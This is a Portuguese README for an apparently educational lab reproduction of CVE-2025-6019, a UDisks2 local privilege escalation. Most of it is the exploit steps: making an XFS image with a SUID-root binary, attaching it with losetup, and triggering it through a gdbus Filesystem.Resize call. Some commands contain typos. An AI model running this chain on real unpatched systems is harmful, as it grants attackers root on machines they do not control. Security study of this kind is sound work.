CVE-2025-6019 – Vulnerabilidade ResizeFilesystem do UDisks2 (Reprodução Educacional)

Este repositório documenta uma reprodução educacional do CVE-2025-6019 realizada em um ambiente de laboratório controlado (VM Ubuntu, não produção).

🛡️ Aviso de Segurança

Esta pesquisa reproduz o CVE-2025-6019 em um ambiente Ubuntu isolado para analisar a causa raiz e a mitigação da vulnerabilidade do UDisks2.
Todos os resultados são compartilhados de forma responsável e visam apoiar a conscientização e a adoção de patches.
Se você é um fornecedor ou mantenedor, por favor, certifique-se de que seu sistema possui as atualizações de segurança mais recentes.

Introdução

Esta vulnerabilidade CVE é um tipo de Escalação de Privilégio Local em sistemas Linux que surge de interações insuficientemente coordenadas entre componentes de gerenciamento de sistema de arquivos Linux, que neste caso são udisk/udisk2, libblockdev e Polkit. Este bug permite que um usuário local (atacante não privilegiado) monte uma imagem de sistema de arquivos maliciosa contendo arquivos pertencentes ao root com o bit SUID definido, execute um binário SUID-root dessa imagem e, finalmente, obtenha controle total do host.

Como explorar

Passo 1: Configuração do ambiente

Esta exploração é conduzida em uma máquina virtual Ubuntu 20.04.6.
Todos os testes são executados em uma VM local isolada, e nenhuma conexão de rede ou payload destrutivo é utilizado. O objetivo é puramente observar mudanças de privilégio e verificar a vulnerabilidade em condições seguras.

Clone este repositório, certifique-se de ter os arquivos check_root.c e exploit_helper.sh

~$ gcc check_root.c -o check_root

Verificando as versões do udisk2 e libblockdev:

~$ dpkg -l | grep libblockdev
~$ dpkg -l | grep udisk
~$ sudo apt install -y build-essential xfsprogs 
# Expected result: libblockdev version 2.23-2ubuntu3 and udisk2 version 2.8.4-1ubuntu2  

Passo 2: Preparação do payload (máquina atacante)

Observe que o objetivo não é criar um programa destrutivo. check_root.c é um programa de teste inofensivo que apenas imprime seu UID real e UID efetivo quando executado (pelas funções getuid() e geteuid()), mas se substituirmos por um binário malicioso, o sistema poderia ser danificado.

Criar arquivo de imagem:

~$ dd if=/dev/zero of=malicious_xfs.img bs=1M count=16
~$ sudo mkfs.xfs malicious_xfs.img

Copiar check_root para a imagem e definir a flag SUID:

~$ mkdir /tmp/xfs_mnt
~$ sudo mount -o loop malicious_xfs.img /tmp/xfs_mnt
~$ sudo cp check_root /tmp/xfs_mnt/
~$ sudo chmod 4755 /tmp/xfs_mnt/check_root
~$ sudo umount /tmp/xfs_mnt
~$ rmdir /tmp/xfs_mnt
~$ mount | grep malicious  
# Expected: no result return.

Se você perceber que a imagem ainda está montada, desmonte-a. Após esta etapa, temos uma imagem maliciosa que contém um arquivo malicioso (check_root), com a flag SUID e proprietário root nos metadados.
Observe que esses metadados são mantidos consistentes ao copiar arquivos entre máquinas Linux, e o Linux protege com "nosuid", o que não será afetado neste cenário.

Passo 3: Exploração (na máquina alvo)

Este passo irá mapear a imagem na máquina alvo e então executar o arquivo malicioso dentro dela; esta ação é semelhante a conectar um USB malicioso em uma máquina Linux.

~$ losetup
# Check which /dev/loop* devices are in use and create a newone and mount with the malicious image creted in the Stage 2. For example, if you see /dev/loop1-8, create /dev/loop9:
~$ sudo losetup /dev/loop9 malicious_xfs.img
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \  $LOOP_DEVICE)"
~$ Echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
Precheck: 
~$ cat /proc/mounts | grep "$LOOP_DEVICE" | grep 'xfs' | awk '{print $2}'
#expected: No results returns

Executar o arquivo exploit_helper.sh:

~$ chmod +x exploit_helper.sh
~$ ./exploit_helper.sh

Abra um segundo terminal e envie uma requisição D-Bus que pede ao sistema (UDisks2) para redimensionar o dispositivo de bloco apresentado.

~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
~$ gdbus call --system --dest org.freedesktop.UDisks2 --object-path \ /org/freedesktop/UDisks2/block_devices/loop9 --method \ org.freedesktop.UDisks2.Filesystem.Resize -t 10 "uint64 0" "{}"

Verificando o terminal de exploração: Sucesso

Por que sucesso: Quando a imagem foi mapeada manualmente com losetup e então montada manualmente (mesmo em um sistema onde o udisksd está presente), a montagem foi realizada em um contexto diferente, com opções e semânticas de ciclo de vida diferentes. Neste cenário, o sistema de arquivos não foi montado com as mesmas flags de segurança aplicadas pelo udisksd, então o binário setuid dentro da imagem pôde surtir efeito e a etapa de exploração obteve sucesso.

A Equipe de Segurança do Ubuntu já lançou versões corrigidas do UDisks2 que abordam o CVE-2025-6019.

⚠️ Aviso Legal
Este repositório é apenas para uso educacional.
Não use qualquer parte deste conteúdo para atacar ou modificar sistemas reais.
O autor e os colaboradores não assumem nenhuma responsabilidade pelo uso indevido.